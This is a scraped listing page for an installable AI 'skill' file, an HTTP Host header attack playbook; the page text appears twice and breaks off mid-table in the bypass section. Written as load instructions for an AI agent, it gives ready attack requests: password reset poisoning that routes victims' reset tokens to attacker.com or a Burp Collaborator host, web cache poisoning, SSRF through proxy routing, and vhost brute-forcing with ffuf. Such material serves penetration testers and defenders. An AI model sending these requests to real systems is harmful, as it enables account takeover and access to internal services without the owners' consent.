http-host-header-attacks

Name: http-host-header-attacks
Author: Prohao42

91stars8forks

How to install http-host-header-attacks?

prohao42/aimy-skill/http-host-header-attacks

$npx -y skills add Prohao42/aimy-skill --skill http-host-header-attacks

Installs into the current project.

Summary

HTTP Host header injection and routing abuse playbook. Use when the application trusts the Host header for generating URLs, routing requests, or access control — enabling password reset poisoning, web cache poisoning, SSRF via routing, and virtual host bypass.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: HTTP Host Header Attacks — Injection & Routing Abuse
2
3	> AI LOAD INSTRUCTION: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
4
5	## 0. RELATED ROUTING
6
7	- [web-cache-deception](../web-cache-deception/SKILL.md) when Host injection is combined with cache behavior
8	- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when Host header routes requests to internal services
9	- [open-redirect](../open-redirect/SKILL.md) when Host injection causes redirect to attacker domain
10	- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) when Host manipulation helps bypass WAF routing
11	- [request-smuggling](../request-smuggling/SKILL.md) when smuggling enables Host header manipulation past front-end validation
12	- [subdomain-takeover](../subdomain-takeover/SKILL.md) when Host routing exposes internal vhosts resolvable via subdomain
13
14	---
15
16	## 1. ATTACK SURFACE
17
18	The Host header is used by web applications and infrastructure for:
19
20	\| Usage \| Exploitation \|
21	\|---\|---\|
22	\| URL generation (password reset links, email links) \| Inject attacker domain → user clicks link to attacker \|
23	\| Virtual host routing \| Spoof Host → access internal/admin vhost \|
24	\| Cache key component \| Inject different Host → poison cache for all users \|
25	\| Reverse proxy routing \| Host determines backend → SSRF to internal services \|
26	\| Access control decisions \| Host-based ACLs can be bypassed \|
27	\| Canonical URL / SEO redirects \| Host injection → open redirect \|
28
29	---
30
31	## 2. PASSWORD RESET POISONING
32
33	The most common and impactful Host header attack.
34
35	### How It Works
36
37	```
38	1. Attacker requests password reset for victim@target.com
39	2. Attacker modifies Host header in the reset request:
40	POST /forgot-password HTTP/1.1
41	Host: attacker.com ← injected
42
43	email=victim@target.com
44
45	3. Server generates reset link using Host header value:
46	"Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
47
48	4. Victim receives email, clicks link → token sent to attacker
49	5. Attacker uses token on real target.com to reset password
50	```
51
52	### Testing
53
54	```http
55	POST /forgot-password HTTP/1.1
56	Host: attacker-collaborator.burpcollaborator.net
57	Content-Type: application/x-www-form-urlencoded
58
59	email=victim@target.com
60	```
61
62	Check Burp Collaborator for incoming HTTP request with the reset token.
63
64	### Variants
65
66	- Some apps concatenate: `Host: target.com.attacker.com` → link becomes `https://target.com.attacker.com/reset?token=xxx`
67	- Some apps use only the port portion: `Host: target.com:@attacker.com` → parsed as `attacker.com` in some URL parsers
68
69	---
70
71	## 3. WEB CACHE POISONING VIA HOST
72
73	```
74	1. Attacker sends:
75	GET / HTTP/1.1
76	Host: attacker.com
77
78	2. If cache keys on URL path but NOT on Host header:
79	→ Response cached with attacker.com in generated links/content
80
81	3. Subsequent users requesting GET / receive the poisoned response
82	→ Links point to attacker.com, scripts load from attacker.com
83	```
84
85	Key requirement: Cache must not include Host header in cache key, but application must use Host in response body.
86
87	Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.
88
89	---
90
91	## 4. SSRF VIA HOST ROUTING
92
93	When a reverse proxy uses Host header to route to backends:
94
95	```
96	GET /api/internal HTTP/1.1
97	Host: internal-admin-panel.local
98
99	→ Reverse proxy routes request to internal-admin-panel.local
100	→ Attacker accesses internal service
101	```
102
103	Common in:
104	- Nginx `proxy_pass` based on `$host`
105	- Apache `ProxyPass` with virtual host routing
106	- Kubernetes Ingress controllers
107	- Cloud load balancers
108
109	---
110
111	## 5. VIRTUAL HOST BYPASS
112
113	Many servers host multiple applications on the same IP via virtual hosting:
114
115	```
116	Target: Host: www.target.com → public site
117	Hidden: Host: admin.target.com → admin panel (not in public DNS)
118	Hidden: Host: staging.target.com → staging environment
119	Hidden: Host: localhost → server status page
120	```
121
122	### Discovery
123
124	```
125	1. Brute-force Host header with common vhost names:
126	ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
127
128	2. Try special values:
129	Host: localhost
130	Host: 127.0.0.1
131	Host: admin
132	Host: internal
133	Host: intranet
134
135	3. Compare response size/content to identify different vhosts
136	```
137
138	---
139
140	## 6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED
141
142	### 6.1 Override Headers
143
144	Many frameworks/proxies trust these headers over the Host header:
145
146	\| Header \| Frameworks That Trust It \|
147	\|-

People who liked this also viewed

6 picks

Type

http-host-header-attacks

91stars8forks

View on GitHub

How to install http-host-header-attacks?

prohao42/aimy-skill/http-host-header-attacks

$npx -y skills add Prohao42/aimy-skill --skill http-host-header-attacks

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: HTTP Host Header Attacks — Injection & Routing Abuse
2
3	> AI LOAD INSTRUCTION: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
4
5	## 0. RELATED ROUTING
6
7	- [web-cache-deception](../web-cache-deception/SKILL.md) when Host injection is combined with cache behavior
8	- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when Host header routes requests to internal services
9	- [open-redirect](../open-redirect/SKILL.md) when Host injection causes redirect to attacker domain
10	- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) when Host manipulation helps bypass WAF routing
11	- [request-smuggling](../request-smuggling/SKILL.md) when smuggling enables Host header manipulation past front-end validation
12	- [subdomain-takeover](../subdomain-takeover/SKILL.md) when Host routing exposes internal vhosts resolvable via subdomain
13
14	---
15
16	## 1. ATTACK SURFACE
17
18	The Host header is used by web applications and infrastructure for:
19
20	\| Usage \| Exploitation \|
21	\|---\|---\|
22	\| URL generation (password reset links, email links) \| Inject attacker domain → user clicks link to attacker \|
23	\| Virtual host routing \| Spoof Host → access internal/admin vhost \|
24	\| Cache key component \| Inject different Host → poison cache for all users \|
25	\| Reverse proxy routing \| Host determines backend → SSRF to internal services \|
26	\| Access control decisions \| Host-based ACLs can be bypassed \|
27	\| Canonical URL / SEO redirects \| Host injection → open redirect \|
28
29	---
30
31	## 2. PASSWORD RESET POISONING
32
33	The most common and impactful Host header attack.
34
35	### How It Works
36
37	```
38	1. Attacker requests password reset for victim@target.com
39	2. Attacker modifies Host header in the reset request:
40	POST /forgot-password HTTP/1.1
41	Host: attacker.com ← injected
42
43	email=victim@target.com
44
45	3. Server generates reset link using Host header value:
46	"Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
47
48	4. Victim receives email, clicks link → token sent to attacker
49	5. Attacker uses token on real target.com to reset password
50	```
51
52	### Testing
53
54	```http
55	POST /forgot-password HTTP/1.1
56	Host: attacker-collaborator.burpcollaborator.net
57	Content-Type: application/x-www-form-urlencoded
58
59	email=victim@target.com
60	```
61
62	Check Burp Collaborator for incoming HTTP request with the reset token.
63
64	### Variants
65
66	- Some apps concatenate: `Host: target.com.attacker.com` → link becomes `https://target.com.attacker.com/reset?token=xxx`
67	- Some apps use only the port portion: `Host: target.com:@attacker.com` → parsed as `attacker.com` in some URL parsers
68
69	---
70
71	## 3. WEB CACHE POISONING VIA HOST
72
73	```
74	1. Attacker sends:
75	GET / HTTP/1.1
76	Host: attacker.com
77
78	2. If cache keys on URL path but NOT on Host header:
79	→ Response cached with attacker.com in generated links/content
80
81	3. Subsequent users requesting GET / receive the poisoned response
82	→ Links point to attacker.com, scripts load from attacker.com
83	```
84
85	Key requirement: Cache must not include Host header in cache key, but application must use Host in response body.
86
87	Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.
88
89	---
90
91	## 4. SSRF VIA HOST ROUTING
92
93	When a reverse proxy uses Host header to route to backends:
94
95	```
96	GET /api/internal HTTP/1.1
97	Host: internal-admin-panel.local
98
99	→ Reverse proxy routes request to internal-admin-panel.local
100	→ Attacker accesses internal service
101	```
102
103	Common in:
104	- Nginx `proxy_pass` based on `$host`
105	- Apache `ProxyPass` with virtual host routing
106	- Kubernetes Ingress controllers
107	- Cloud load balancers
108
109	---
110
111	## 5. VIRTUAL HOST BYPASS
112
113	Many servers host multiple applications on the same IP via virtual hosting:
114
115	```
116	Target: Host: www.target.com → public site
117	Hidden: Host: admin.target.com → admin panel (not in public DNS)
118	Hidden: Host: staging.target.com → staging environment
119	Hidden: Host: localhost → server status page
120	```
121
122	### Discovery
123
124	```
125	1. Brute-force Host header with common vhost names:
126	ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
127
128	2. Try special values:
129	Host: localhost
130	Host: 127.0.0.1
131	Host: admin
132	Host: internal
133	Host: intranet
134
135	3. Compare response size/content to identify different vhosts
136	```
137
138	---
139
140	## 6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED
141
142	### 6.1 Override Headers
143
144	Many frameworks/proxies trust these headers over the Host header:
145
146	\| Header \| Frameworks That Trust It \|
147	\|-

People who liked this also viewed

6 picks

Type